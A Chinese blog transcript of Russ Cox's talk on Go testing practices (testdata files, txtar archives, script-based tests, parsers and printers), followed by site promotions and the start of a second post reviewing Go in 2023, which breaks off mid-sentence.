这个特殊情况不适合放在表中，但这没关系。但是很多东西确实适合放在表中。\n这是我最喜欢的一个测试表之一。它来自fmt.Printf的测试用例。每一行都是一个printf格式、一个值和预期的字符串。真实的表太大了，无法放在幻灯片上，但这里摘录了一些表中的代码行。\n如果你仔细阅读整个表，你会看到其中一些明显是修复bug的内容。记住建议7：如果你没有添加测试，那就没有修复bug。表格使得添加这些测试变得非常简单，并且添加这些测试可以确保这些bug不会再次出现。\n表格是将测试用例与测试逻辑分离并且方便添加新的测试用例的一种方法，但有时你会有很多测试，甚至写Go语法的开销也是不必要的。例如，这里是strconv包的一个测试文件，用于测试字符串与浮点数之间的转换。你可能认为编写解析器来处理这个输入太麻烦了，但一旦你知道了如何处理，其实并不需要太多工作，而且定义测试专用的小型语言实际上非常有用。\n因此，我将快速介绍一下解析器，以展示它并不复杂。我们读取文件，然后将其分割成行。对于每一行，我们计算错误消息的行号。切片元素0表示第1行。我们去掉行尾的任何注释。如果行为空白行，我们跳过它。到目前为止，这是相当标准的样板代码。现在是重点。我们将行分割为字段，并提取出四个字段。\n然后根据类型字段在float32或float64的数学运算中进行转换。myatof64基本上是strconv.ParseFloat64的变体，不同之处在于它处理允许我们按照从论文中复制的方式编写测试用例的十进制p格式。\n最后，如果结果不是我们想要的，我们打印错误。这非常类似于基于表格的测试。我们只是解析文件，而不是遍历表格。它无法放在一个幻灯片上，但在开发时它可以放在一个屏幕上。\n建议9：测试用例可以放在testdata文件中 测试不必都要放在源代码中。\n作为另一个例子，Go正则表达式包包含了一些从AT\u0026amp;T POSIX正则表达式库复制过来的testdata文件。我不会在这里详细介绍，但我很感激他们选择为该库使用基于文件的测试，因为这意味着我可以重用testdata文件，将其用于Go。这是另一种ad-hoc格式，但它易于解析和编辑。\n建议10：与其他实现进行比较 与AT\u0026amp;T正则表达式的测试用例进行比较有助于确保Go的包以完全相同的方式处理各种边缘情况。我们还将Go的包与C++的RE2库进行比较。为了避免需要编译C++代码，我们以记录所有测试用例的方式运行它，并将该文件作为testdata提交到Go中。\n在文件中存储测试用例的另一种方法是使用成对的文件，一个用于输入，一个用于输出。为了实现go test -json，有一个名为test2json的程序，它读取测试输出并将其转换为JSON输出。测试数据是成对的文件：测试输出和JSON输出。\n这是最简短的文件。测试输出位于顶部，它是test2json的输入，应该生成底部的JSON输出。以下是实现，展示了从文件中读取测试数据的惯用方法。\n我们首先使用filepath.Glob查找所有的testdata。如果失败或找不到任何文件，我们会报错。否则，我们循环遍历所有文件。对于每个文件，我们通过获取基本文件名（不包括testdata/目录名和文件后缀）来创建子测试名称。然后我们用该名称运行一个子测试。如果你的测试用例足够复杂，每个文件一个子测试通常是有意义的。这样，当一个测试用例失败时，你可以使用go test -run只运行特定的文件。\n对于实际的测试用例，我们只需要读取文件，运行转换器，并检查结果是否匹配。对于检查，我最开始使用了bytes.Equal，但随着时间的推移，编写一个自定义的diffJSON函数来解析两个JSON结果并打印实际差异的详细说明变得更有价值。\n建议11：使测试失败易读 回顾一下，我们已经在二分查找中看到了这一点。\n我认为我们都同意粉色框不是一个好的失败。但是黄色框中有两个细节使得这些失败尤为出色。首先，我们在单个if语句中检查了两个返回值，然后在简洁的单行中打印了完整的输入和输出。其次，我们不会在第一个失败处停止。我们使用t.Error而不是t.Fatal，以便执行更多的测试用例。结合起来，这两个选择让我们可以看到每个失败的完整细节，并在多个失败中寻找模式。\n回到test2json，这是它的测试失败的情况。它计算出哪些事件是不同的，并清晰地标记它们。重要的是，在你编写测试时，你不必写这种复杂的代码。bytes.Equal在开始时是可以的，并且可以专注于代码。但是随着失败变得更加微妙，并且你发现自己花费太多时间只是阅读失败输出，这是一个好的信号，它告诉你是时候花一些时间使其更易读了。此外，如果确切的输出发生更改并且你需要更正所有的测试数据文件，这种类型的测试可能会有点麻烦。\n建议12：如果答案可能会改变，编写代码来更新它们 通常的做法是在测试中添加一个“-update”标志。这是test2json的更新代码示例。\n测试定义了一个新的“-update标志”。当标志为true时，测试将计算的答案写入答案文件，而不是调用diffJSON。现在，当我们对JSON格式进行有意的更改时，“go test -update”会更新所有答案。你还可以使用版本控制工具如“git diff”来审查更改，并在看起来不正确时撤销更改。在谈论测试文件的主题上，有时将一个测试用例分割成多个文件会很烦人。如果我今天编写这个测试，我就不会这样做。\n建议13： 使用txtar进行多文件测试用例 注：导入txtar：import “golang.org/x/tools/txtar”\nTxtar是我们几年前专门为解决多文件测试用例问题而设计的一种新的存档格式。其Go解析器位于golang.org/x/tools/txtar中，我还找到了用Ruby、Rust和Swift编写的解析器。\nTxtar的设计有三个目标。首先，足够简单，可以手动创建、编辑和阅读。其次，能够存储文本文件的树形结构，因为我们在go命令中需要这个功能。第三，能够在git历史记录和代码审查中进行良好的差异比较。其他的包括成为完全通用的存档格式、存储二进制数据、存储文件模式(file mode)、存储符号链接等都不是目标，因为存档文件(archived file)格式往往变得十分复杂，而复杂性与第一个目标直接相矛盾。这些目标和非目标导致了一个非常简单的格式。下面是一个示例：txtar文件以注释开头。\n本例中为”Here are some greetings.”，然后通常会有零个或多个文件，每个文件由形如”– 文件名 –”的行引入。这个存档包含两个单行文件，hello和g’day。就是这样，这就是整个格式。没有转义，没有引用，没有对二进制数据的支持，没有符号链接，没有可能的语法错误，没有复杂之处。下面是一个在测试数据中使用txtar文件的真实示例。\n该测试数据用于计算差异的包：在这种情况下，注释对于人们来说很有用，用于记录正在进行的测试，然后在这个测试中，每个用例由两个文件和它们的差异后面跟随的两个文件组成。\n使用txtar文件几乎和编写它们一样简单。下面是我们之前查看的diff包的测试。\n这是通常的基于文件的循环，但我们在文件上调用了txtar.ParseFile。然后我们坚持认为存档包含三个文件，第三个文件的名称为diff。然后我们对两个输入文件进行差异比较，并检查结果是否与预期的差异匹配。\n这就是整个测试。你可能已经注意到，在使用之前，文件数据会被传递给”clean”函数进行清理。clean函数允许我们在不使txtar格式本身复杂化的情况下添加一些特定于diff的扩展。\n第一个扩展处理以空格结尾的行，在差异中确实会出现这种情况。许多编辑器希望去除这些尾随空格，因此测试允许在txtar的数据行末尾放置$，并且clean函数会删除该$。在这个示例中，标记的行需要以一个空格结尾。\n此外，txtar要求文件中的每一行都以换行符结尾，但我们希望测试diff在不以换行符结尾的文件上的行为。因此，测试允许在结尾处放置一个字面意义上的“尖号D”。clean函数会删除“尖号D”和其后的换行符。在这种情况下，’new’文件最终没有最后的换行符，而diff正确报告了这一点。因此，尽管txtar非常简单，你也可以轻松地在其上添加自己的格式调整。当然，重要的是要记录这些调整，以便下一个参与测试的人能够理解它们。\n建议14：对现有格式进行注解(annotation)来创建测试迷你语言 对现有格式进行注释，比如在txtar中添加$和尖号D，是一个强大的工具。\n这里是对现有格式进行注释的一个示例。这是Go类型检查器(type checker)的一个测试。这是一个普通的Go输入文件，但是期望的类型错误已经以/*ERROR*/注释的形式添加了进去。我们使用/*注释，这样我们就可以将它们放置在错误报告的确切位置上。测试运行类型检查器，并检查它是否在预期位置产生了预期的消息，并且没有产生任何意外的消息。下面是类型检查器的另一个示例。\n在这个测试中，我们在通常的Go语法之上添加了一个assert注释。这使我们能够编写常量算术的测试，就像这个例子一样。类型检查器已经计算了每个常量表达式的布尔值，所以检查assert其实只是检查常量是否被求值为true。下面是另一个带有注释的格式示例。\nIvy是一个交互式计算器。你输入程序，通常是简单的表达式，它会打印出答案。测试用例是看起来像这样的文件：未缩进的行是Ivy的输入，缩进的行是注释，指示Ivy应该打印出预期的输出。编写新的测试用例再也没有比这更简单的了。这些带注释的格式扩展了现有的解析器和打印器(printer)。有时编写自己的解析器和打印器是有帮助的。毕竟，大多数测试涉及创建或检查数据，当你可以使用方便的形式处理数据时，这些测试总是可以更好。\n建议15：编写解析器和打印器来简化测试 这些解析器和打印器不一定是用于testdata中数据文件的独立脚本。你也可以在常规的Go代码中使用它们。\n这是一个运行deps.dev代码的一个测试片段。这个测试设置了一些数据库表行。它调用了一个使用数据库并正在进行测试的函数。然后它检查数据库是否包含了预期的结果。Insert和Want调用使用了一个专门为这些测试编写的用于数据库内容的迷你语言。解析器就像它看起来的那样简单：它将输入分割成行，然后将每行分割成字段。第一行给出了列名。就是这样。这些字符串中的确切间距并不重要，但是如果它们都对齐，当然看起来更美观。\n因此，为了支持这个测试，deps.dev团队还有一个专门为这些测试编写的代码格式化程序。它使用Go标准库解析测试源代码文件。然后它遍历Go语法树，查找Insert或Want的调用。它提取字符串参数并将它们解析为表格。然后它将表格重新打印为字符串，将字符串重新插入语法树中，并重新打印语法树为Go源代码。这只是gofmt的一个扩展版本，使用了与gofmt相同的包。我这里不会展示这些代码，但代码量其实不多。\n解析器和打印器需要花费了一些时间来编写。但现在，每当有人编写一个测试时，编写测试就更容易了。每当一个测试失败或需要更新时，调试也更容易了。如果你正在进行软件工程，收益将随着程序员数量和项目生命周期的增加而扩大。对于deps.dev来说，已经花费在这个解析器和打印器上的时间已经多次节省了。或许更重要的是，因为测试更容易编写，你可能会写更多的测试，这将导致更高质量的代码。\n建议16：代码质量受测试质量限制 如果你不能编写高质量的测试，你将无法编写足够的测试，并且最终无法得到高质量的代码。\n现在我想向你展示一些我曾经参与的最高质量的测试，这些测试是针对go命令的测试。它们将我们到目前为止看到的许多思想汇集在一起。这是一个简单但真实的go命令测试。这是一个txtar输入，其中包含一个名为hello.go的文件。archive comment是一个逐行简单命令语言编写的脚本。在脚本中，”env”设置一个环境变量来关闭Go module机制。井号引入注释。而”go”运行go命令，它应该运行hello world。该程序应该将hello world打印到标准错误中。”stderr”命令检查前一个命令打印的标准错误流是否与正则表达式匹配。因此，这个测试运行”go run hello.go”并检查它是否将hello world打印到标准错误中。\n这里是另一个真实的测试。请注意底部的a.go是一个无效的程序，因为它导入了一个空字符串。第一行开头的感叹号是一个”非”操作符。NOT go list a.go意味着go list a.go应该失败。下一行的”NOT stdout .”表示标准输出不应该有与正则表达式”.”匹配的内容，也就是不应该打印任何文本。接下来，标准错误流应该有一个无效的导入路径的消息。最后，不应该发生panic。\n建议17：使用脚本可以编写很好的测试 这些脚本使添加新的测试用例变得非常容易。\n这是我们最小的测试用例：两行代码。最近我在破坏了unknown command的错误消息后添加了这个测试用例。总共，我们有超过700个这样的脚本测试，从两行到500多行不等。\n这些测试脚本取代了一个更传统的使用方法(method)的测试框架。这张幻灯片展示了其中一个真实的测试，前面是脚本编写的测试用例，后面是等价的Go编写的传统测试代码。细节并不重要，只需注意脚本要比传统测试方法更容易编写和理解。\n建议18：尝试使用rsc.io/script来创建基于脚本的测试用例 距离我们创建go脚本测试已经过去了大约五年时间，我们对这个特定的脚本引擎非常满意。Bryan Mills花了很多时间为它提供了一个非常好的API，早在11月份，我将其发布到了rsc.io/script以供导入使用。现在我说”尝试”是因为它还比较新，并且具有讽刺意味的是，它本身的测试还不够多，因为可导入的包只有几周的历史，但你仍然可能会发现它很有用。当我们对其有更多经验时，我们可能会将其放在更官方的位置上。如果你尝试了它，请告诉我结果如何。\n提取脚本引擎的动机是为了在go命令测试的不同部分中重用它。这个脚本正在准备一个包含我们想要在常规go命令脚本测试中导入的模块的Git存储库(repo)。你可以看到它设置了一些环境变量，运行了真正的git init，设置了时间，在存储库中运行了更多的git命令来添加一个hello world文件，然后检查我们得到了我们想要的存储库。再一次，测试并不是从一开始就是这样的，这引出了下一个实用建议。\n建议19：随着时间的推移改进你的测试 最初，我们没有这些存储库脚本。我们手工创建小型测试存储库，并将它们发布到GitHub、Bitbucket和其他托管服务器，具体取决于我们所需的版本控制系统。这种方法还算可以，但这意味着如果这些服务器中的任何一个宕机，测试就会失败。最终，我们花时间构建了自己的云服务器，可以为每个版本控制系统提供存储库服务。现在，我们手工创建存储库，将其压缩并复制到服务器上。这样做更好，因为现在只有一个服务器可能会使我们的测试失败，但有时也会出现网络问题。测试存储库本身也没有进行版本控制，并且与使用它们的测试不在一起，这也是一个问题。作为测试的一部分，基于脚本的版本完全可以在本地构建和提供这些存储库。而且现在很容易找到、更改和审查存储库的描述。这需要很多基础设施，但也测试了很多代码。如果你只有10行代码，你完全不需要拥有数千行的测试框架。但是如果你有十万行代码，这大约是go命令的规模，那么开发几千行代码来改进测试，甚至是一万行代码，几乎可以肯定是一个不错的投资。\n建议20：追求持续部署 也许出于策略原因，你无法每次都实际部署那些通过了所有测试的代码提交，但无论如何都要追求这一目标。正如我在演讲开始时提到的，对于持续部署的任何疑问都是有益的小声音，它们告诉你需要更好的测试。而更好的测试的关键当然是让添加新测试变得容易。即使你从未实际启用持续部署，追求这一目标也可以帮助你保持诚实，提高测试的质量和代码的质量。\n我之前提到过Go官方网站使用了持续部署。在每次提交时，我们运行测试来决定是否可以部署最新版本的代码并将流量路由到它。此时，你不会感到惊讶，我们为这些测试编写了一个测试脚本语言。上图是它们的样子。每个测试以一个HTTP请求开始。这里我们GET主页go.dev。然后对响应进行断言。每个断言的形式为”字段(field)，运算符(operator)，值(value)”。这里字段(field)是body，运算符(operator是contains，值(value)是body中必须包含的字面值。这个测试检查页面是否渲染过了，因此它检查基本文本以及一个副标题。为了更容易编写测试，根本没有引号。值就是运算符后面的其余部分。接下来是另一个测试用例。出于历史原因，/about需要重定向到pkg.go.dev。\n这是另一个案例。这里没有什么特别的，只是检查案例研究页面是否渲染(rendering)了，因为它是由许多其他文件合成的。测试可以检查的另一个字段是HTTP响应代码，这是一个错误修复。我们错误地在Go存储库根目录中提供了这些文件，就好像它们是Go网站页面一样。我们希望改为返回404。你还可以测试标头foo的值，其中foo是某个标头。在这种情况下，标头Content-Type需要正确设置为主博客页面及其JSON feed。\n这是另一个示例。这个示例使用正则表达式匹配运算符tilde和“\\s+”语法，以确保页面具有正确的文本，无论单词之间有多少空格。这变得有点老套了，所以我们添加了一个名为trimbody的新字段，它是将所有空格序列替换为单个空格后的body。这个示例还显示了值可以作为多个缩进的行提供，以便更容易进行多行匹配。\n我们还有一些无法在本地运行但在生产环境中仍值得运行的测试，因为我们将实时流量迁移到服务器之前需要进行这些测试。下面是其中两个。这些依赖于对生产环境playground后端的网络访问。这些案例除了URL不同之外都是相同的。这不是一个非常易读的测试，因为这些是我们唯一的POST测试。如果我们添加了更多这样的测试，我可能会花时间使它们看起来更好，以随着时间推移改进你的测试。但是现在它们还可以，它们起到了重要的作用。\n最后，和往常一样，添加错误修复很容易。在问题51989中，live web站点根本没有呈现。因此，这个测试检查页面确实呈现并包含一个独特的文本片段。问题51989不会再次发生，至少不会在实际的网站上。肯定会有其他错误，但那个问题已经彻底解决了，这就是进步。以上这些是我有时间向你展示的这些例子。\n小结 最后一个想法。我相信你经历过追踪错误并最终发现一个重要的代码片段是错误的情况。但不知何故，这个代码片段的错误大部分时间都无关紧要，或者错误被其他错误的代码抵消了。你可能会想：“这段代码以前是怎么工作的？”如果是你自己编写的代码，你可能会认为自己很幸运。如果是别人编写的代码，你可能会对他们的能力产生质疑，然后又认为他们很幸运。但是，大多数时候，答案并不是运气。对于这段代码为什么会工作的问题的答案几乎总是：因为它有一个测试。当然，代码是错误的，但测试检查了它足够正确，使系统的其他部分可以正常工作，这才是最重要的。也许编写这段代码的人确实是一个糟糕的程序员，但他们是一个优秀的软件工程师，因为他们编写了一个测试，这就是为什么包含该代码的整个系统能够工作的原因。\n我希望你从这次演讲中得出的结论不是任何特定测试的具体细节，尽管我希望你可以留意对小型解析器和打印机的良好使用带来的好处。任何人都可以学会编写它们，并且有效地使用它们可以成为软件工程的超能力。最终，这对这些软件包来说是好测试。对于你的软件包，好测试可能看起来会有所不同。这没关系。但要使添加新的测试用例变得容易，并确保你拥有良好、清晰、高质量的测试。请记住，代码质量受测试质量的限制，因此逐步投入改进测试。你在项目上工作的时间越长，你的测试就应该变得越好。并且要追求持续部署，至少作为一种思想实验，以了解哪些方面的测试还不够充分。\n总的来说，要像编写优秀的非测试代码一样，思考并投入同样的思想、关心和努力来编写优秀的测试代码，这绝对是值得的。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/01/01/go-testing-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-testing-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/01/01/go-testing-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/01/01/go-testing-by-example\"\u003ehttps://tonybai.com/2024/01/01/go-testing-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2023年11月初，Go语言技术负责人Russ Cox在\u003ca href=\"https://gophercon.com.au/\"\u003eGopherCon Australia 2023\u003c/a\u003e大会上进行了题为\u003ca href=\"https://research.swtch.com/testing\"\u003e“Go Testing By Example”\u003c/a\u003e的演讲：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-testing-by-example-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e12月初Russ Cox重新录制了该演讲内容的视频，并在\u003ca href=\"https://research.swtch.com/testing\"\u003e个人网站\u003c/a\u003e上放了出来。这个演讲视频是关于如何编写好的Go测试的，Russ Cox介绍了20个实用建议，非常值得Go初学者甚至Go资深开发者学习并应用到实践中。这里是基于该视频整理的文字稿(可能并非逐字逐句)，供广大Gopher参考。\u003c/p\u003e","title":"Go测试的20个实用建议"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language\n时光荏苒，转眼间已经是2023年的最后一天了。《2022年Go语言盘点：泛型落地，无趣很好，稳定为王》仿佛就写在昨天。\n回首这一年，全球彻底从新冠大流行中得以复苏，Go语言也不例外，最直观的表现就是全球各地的GopherCon技术大会或小型Meetup都纷纷从停办/线上的状态来到了线下，并获得Gopher们的热烈欢迎和踊跃参与，比如下图中的GopherCon、GopherCon UK、GopherCon Europe、GopherCon Australia、Golab等。\n尤其值得一提的是我们本土最大的Gopher技术大会GopherChina 2023，今年为了满足不同地域Gopher的需求，GoCN社区在6月和11月分别在北京和上海举办了两次GopherChina大会，这也是历史首次。\nGo语言团队的大神们也开始重新“乐此不疲”地参与到上述这些大会中，以推进全球Go社区与生态的建设。就连已经退居二线的Go语言之父Rob Pike也亲自“现身说法”，在年底的GopherCon Australia 2023上发表了“What We Got Right, What We Got Wrong”的主题演讲来回顾Go诞生以来的得与失。\n大神回顾一生，我们盘点一年。在这篇文章中，我就和大家一起聊聊Go在2023年的状态、所处的位置以及Go未来演进的机制与策略。\n1. Go的2023 1.1 稳 一如往年，Go在2023年发布了两个大版本，分别是2023年2月份的Go 1.20和8月份的Go 1.21。\n在这两个版本中，Go语法特性一如既往的求稳，除了支持切片类型到数组类型(或数组类型的指针)的类型转换，其余更是像语法的修修补补，比如：comparable“放宽”了对泛型实参的限制、unsafe包继续添加“语法糖”、增加min、max和clear预定义函数、增强type inference能力等。\n这些并不会让Gopher感到“意外”，因为这与Russ Cox在2022年宣称的“Go is boring”的精神是一脉相承的。\n不过，除了Go语法特性变化方面的“寡淡”之外，Go在其他方面还是求新和求变的，接下来我们先来看看Go是如何求新的。\n注：求新与求变可能存在交集的地方，边界可能也有一定模糊性，也存在相互促进的情况，希望大家阅读下面内容时不要吹毛求疵:)。\n1.2 求新 Go在语法特性求稳的同时，在编译器、工具链、运行时以及标准库等方面都在努力优化和打磨，旨在进一步提升Go兼具的生产力与运行时效率，其中很多优化和打磨的措施不乏新颖。\nGo 1.20版本中首次引入的PGO(profile-guided optimization)技术预览版，到Go 1.21版本变为默认开启，Go官方给出的PGO优化的效果数据是：PGO优化带来的性能提升一般是2%~7%，而在最新的Go 1.22rc1中，这个数字已经变为2%~14%了。\n在内存管理方面，Go 1.20引入了试验特性arena包，虽然它没能在Go 1.21中按时转正，如今处于proposal-hold状态，但这也算是一次在内存管理机制上的求新。\nGo是一门面向软件工程的编程语言，在这一年中，Go在软件工程领域的求新例子也是不少。比如：可用于大幅简化Go项目创建的gonew工具，它支持基于go project template clone并创建一个属于你的Go项目；再比如对应用执行时的代码覆盖率的采集，可以帮助开发者更进一步了解最终可执行程序代码执行路径上的测试覆盖情况；而govulncheck工具则是Go在软件工程与供应链安全领域的求新尝试，该工具丰富了我们对Go项目进行安全漏洞检查的手段。\n注：关于供应链安全问题，Russ Cox近期有一个专门的Talk：Open Source Supply Chain Security at Google，感兴趣的童鞋可以学习一下。\nGo始终对IT界出现的新技术、新趋势以及Go社区的新想法保持open。在WASM出现早期，Go就提供了对wasm的porting支持，如今在Go 1.21中，Go还对尚未形成最终规范的WASI(WebAssembly System Interface)提供了支持。\nGo社区的反馈也是Go团队求新的来源，比如一个典型例子就是log/slog加入标准库，让Go标准库原生支持了结构化日志输出，且日志性能不输像zap这样的第三方开源log包。\nGo社区也跟随Go团队的节奏，走在求新的道路上。2023年，IT界最大的事件就是以ChatGPT为代表的大语言模型的横空出世，这很可能是一个百年不遇的、对人类文明进步有着重要里程碑意义的事件。各行各业，言必称大模型，言必称AI。在传统机器学习、深度学习以及神经网络方面生态并不丰富的Go，也在尝试与大模型对接，比如：支持快速在本地启动和运行llama2、mistral 7B、codellama、vicuna等大模型的ollama开源项目在短短几个月就收获近30k个小星星的关注；再比如Gemini大模型推出后，Google一并开源了支持与Google各种大模型项目对接的Google AI Go SDK开源项目，并提供了详细的教程指导Gopher如何通过该SDK与大模型交互。\n注：Google把Gemini Pro的API免费提供给个人用户了，该模型具备GPT 3.5 级别的能力，32k 上下文，38 种语言支持以及多模态支持，唯一的约束是每分钟60个请求。\n在2023年第二次Go用户调查报告中，Go 开发者表示，他们对改善其编写代码的质量、可靠性和性能的人工智能/机器学习工具感兴趣，而不是编写代码的工具。一位时刻警醒、从不忙碌的专家“审阅者”可能是一种更有帮助的AI开发者辅助形式。Go官方表示了对该调查结果的重视，也许在后续的Go工具链中“AI加持”会成为常态。\n1.3 求变 2023年8月，在Go 1.21版本刚刚发布后，Go官博就发布了Russ Cox编写的两篇文章：《Backward Compatibility, Go 1.21, and Go 2》和《Forward Compatibility and Toolchain Management in Go 1.21》，进一步明确了Go承诺的向后兼容的范围和方案，并第一次阐述了向前兼容性的具体方案，这两篇文章为Go语言后续的“求变”奠定了理论基础。\n在向后兼容方面，从Go 1.21开始Russ Cox提出一些举措，比如：Go将扩展和规范化了GODEBUG的使用，其大致思路如下：\n对于每个在Go1兼容性承诺范围内的且可能会破坏(break)现有代码的新特性/新改变(比如：panic(nil)语义的改变)加入时，Go会向GODEBUG设置\n中添加一个新选项(比如GODEBUG=panicnil=1)，以保留采用原语义进行编译的兼容能力； GODEBUG中新增的选项将至少保留两年(4个Go release版本)，对于一些影响重大的GODEBUG选项(比如http2client和http2server)，保留的时间可能更长，甚至一直保留； GODEBUG的选项设置与go.mod的go version是匹配的。例如，即便你现在的工具链是Go 1.21，如果go.mod中的go version为1.20，那么GODEBUG控制的新特性语义将不起作用，依旧保持Go 1.20时的行为。除非你将go.mod中的go version升级为go 1.21.0； 在Go 1.21及以后版本中，除了可以使用像GODEBUG=panicnil=1的环境变量恢复原先语义外，还可以在main包中使用//go:debug指示符。 在向前兼容方面，Russ Cox提出的方案有些复杂难懂，这里就不赘述了，感兴趣的童鞋可以阅读一下我之前的文章《聊聊Go语言的向前兼容性和toolchain规则》了解更多细节。\n1.3.1 语法填坑 在Go的诸多“求变”中，影响最大的还是对已有语法坑的“修正”，这些“填坑”工作或多或少都会对存量代码带去影响，甚至是break change，Go社区的反对声音也是不少。但无论怎样，这些工作已经在Go 1.21版本拉开帷幕了。比如：改变panic(nil)的语义以及对循环变量语义的变更，大家可以在《Go 1.21中值得关注的几个变化》一文中了解更多细节。\n对现有语法坑的修正也进一步促进了“求新”，比如在修正loopvar语义的同时，for range支持对更多类型表达式的迭代也在进行中，比如Go 1.22中，for range将支持迭代整型表达式，并以试验特性提供了对函数迭代器的支持。\n1.3.2 标准库v2示范 Go号称是“自带电池”的语言，其高质量的标准库得到了广大Gopher的欢迎。Go团队也一直努力推进Go标准库功能的丰富性，比如：Go 1.22中对http.ServeMux功能进行了增强，使其像第三方的gorilla/mux那样增加对带有通配符路由的匹配。\nGo 1.22中，标准库还首次出现了v2版本包：math/rand/v2，这为后续标准库的vN方式演进提供了示范，从Go团队的官方issue、discussion中了解到，后续如sync/v2、encoding/json/v2等已经列上日程了。\n2. Go所处的位置 很多人关注Go当前的状态：国内大厂用的多么？小厂是不是也在广泛采纳。这些问题我在往年的Go语言盘点时也都做过梳理，今年就不再提了。没有哪个大厂在广泛采用一门语言后，会在一年内全部推翻重写的；小厂对Go的采纳也是有惯性的。\n今年先从我的两个意外“收获”开始。\n2.1 两个意外的“收获” 2023年10月中旬，世界知名电动车厂商Tesla发布了新版fleet API和vehicle command SDK，鉴于本人也在智能网联汽车行业内打拼，于是对Tesla的此次发布做了一些深入了解。在Tesla的github主页上我赫然发现：Go是目前Tesla开源项目的第二大语言。\n相对于传统的主机厂(车厂)，Telsa算是比较开放的了。开放包含两个含义，一是将车端能力的开放，二是项目的开源。就目前了解到，国内主机厂还鲜有将车端能力开放出来的，开源就更是鲜见。但Tesla在这两方面都做到了，既开放了车端API，又做了针对性的开源，虽然目前其开源项目并不多。以前Tesla涉及到云端服务的项目多用Ruby，但从2022年开始，Go语言的使用逐渐增多，包括前面提到的Fleet API的Fleet Telemetry的参考server实现以及Tesla车辆远控SDK。\n我们再来看看Apache基金会。众所周知，Apache基金会的开源项目多以Java语言为主，但一次偶然的机会翻看Apache基金会的github项目主页，我发现Go语言在Apache开源项目中已经悄悄地跻身到第五名，如果仅算后端语言的话，Go排名第三，仅次于Java和Python。\n并且，Apache基金会下面的Go项目实际也不少，大家可以通过https://github.com/orgs/apache/repositories?language=go\u0026amp;type=all查询。其中还不乏优秀之作，比如：构建Q\u0026amp;A知识系统的answer、Apache Dubbo的go实现dubbo-go、CDN实现trafficcontrol、Kubernetes原生的轻量级企业应用集成框架Camel K、Apache Arrow的Go实现以及针对开发过程的聚合数据平台devlake等。\n我们知道：Apache项目在企业级应用和平台方面具有广泛的应用，从Go语言在Apache基金会项目中的使用比例的提升现象来看，Go在企业应用市场中的普及度和受欢迎程度确实有所增长。\n2.2 Go语言排名 编程语言之间的竞争与争议，通常被称为“编程语言战争”(programming language war)，它其实反映了不同技术群体和范式之间的碰撞。这些“火药味”比较浓的语言之争通常比较主观。近10年来，业界出现了一些被广泛接受的编程语言排行榜，它们基于一些相对客观的数据来反映不同编程语言在现实开发中的真实状态。但不同编程语言排行榜都有不同的数据来源和数据模型，单一的排行榜往往是“盲人摸象”，无法反映全貌。但目前又没有一个可以让我们一窥全貌的权威排行榜。因此，要想更客观地、更全面的反映一门编程语言的实际情况，我们需要将多个排行榜参照着看。\n下面我们就来看看在目前世界上著名的编程语言排行榜上，Go语言在其中的最新排名情况(请注意：各个榜单的发布时间不同，导致各榜单的数据会有一定时间差)。\n2.2.1 PYPL编程语言排行榜 PYPL编程语言流行指数是通过分析语言教程在谷歌上的搜索频率而创建的。语言教程被搜索的次数越多，说明该语言越受欢迎，原始数据来自Google Trends：\nPYPL编程语言排行榜，数据时间：2023.12\n2.2.2 IEEE Spectrum排行榜 IEEE Spectrum排行榜是通过调查来自全球软件工程师和招聘网站的数据，统计各语言的流行度的：\nIEEE Spectrum排行榜，数据时间：2023.8\n2.2.3 RedMonk编程语言排行榜 RedMonk排行榜是根据GitHub和Stack Overflow这两个开发者社区上的讨论数量来推算语言的受关注度。\nRedMonk编程语言排行榜，数据时间：2023.5\n2.3.4 Github Octoverse GitHub Octoverse排行榜直观反映了过去一年GitHub上各编程语言的实际使用和流行趋势，是从开源项目量的维度来衡量编程语言活跃度的。在Top 10语言榜单上，2023年Go超越Ruby第一次跻身Github Top10语言：\nGithub Octoverse编程语言排行榜，数据时间：2023.11\nGithub Octoverse编程语言排行榜，数据时间：2023.11\n2.3.5 Github Language Stats(githut) Github Language Stats是一个个人项目，它基于github公开数据，按时间、pr数量、star数量等维度对各个语言在github上的使用情况进行分析：\nGithut按PR数量，数据时间：2023第三季度\nGithut按Star数量，数据时间：2023第三季度\n2.3.6 TIOBE编程语言排行榜 TIOBE编程语言排行榜理论上来说，是世界上最知名的编程语言排行榜，它根据各大搜索引擎编程语言相关的搜索查询量来计算一个综合指数。但这些年TIOBE榜单数据的“上蹿下跳”，让开发者对该榜单是“又爱又恨”。下面是TIOBE index 